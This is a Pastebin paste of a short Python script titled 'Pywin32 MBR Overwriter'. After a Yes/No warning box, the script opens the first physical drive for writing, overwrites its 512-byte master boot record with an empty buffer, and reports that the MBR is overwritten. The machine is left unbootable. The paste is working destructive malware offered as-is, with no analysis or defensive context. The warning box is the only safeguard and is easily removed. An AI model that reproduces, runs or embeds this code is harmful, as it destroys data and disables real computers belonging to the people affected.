FlyFar

Pywin32 - Pywin32 MBR Overwriter

Jun 12th, 2023
96
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.06 KB | Cybersecurity | 0 0
  1. from win32file import * # pip install pywin32
  2. from win32ui import * # MessageBox
  3. from win32con import * # MessageBox buttons
  4. from win32gui import *
  5. from sys import exit
  6.  
  7. # title of warning
  8. warningtitle = 'Warning!'
  9. # description of warning
  10. warningdescription = 'This program will overwrite your MBR, making your machine unusable. If your in a safe enviroment (a virtual machine for example) and know what you\'re doing you might continute. Are you really sure you want to make your machine unbootable?'
  11.  
  12. if MessageBox(warningdescription, warningtitle, MB_ICONWARNING | MB_YESNO) == 7: # send warning and check if no is pressed
  13.   exit() # exit the program
  14.  
  15. hDevice = CreateFileW("\\\\.\\PhysicalDrive0", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0,0) # Create a handle to our Physical Drive
  16. WriteFile(hDevice, AllocateReadBuffer(512), None) # Overwrite the MBR! (Never run this on your main machine!)
  17. CloseHandle(hDevice) # Close the handle to our Physical Drive!
  18.  
  19. MessageBox("Your MBR is overwritten!", "Oh No!", MB_ICONWARNING | MB_OK)
Add Comment
Please, Sign In to add comment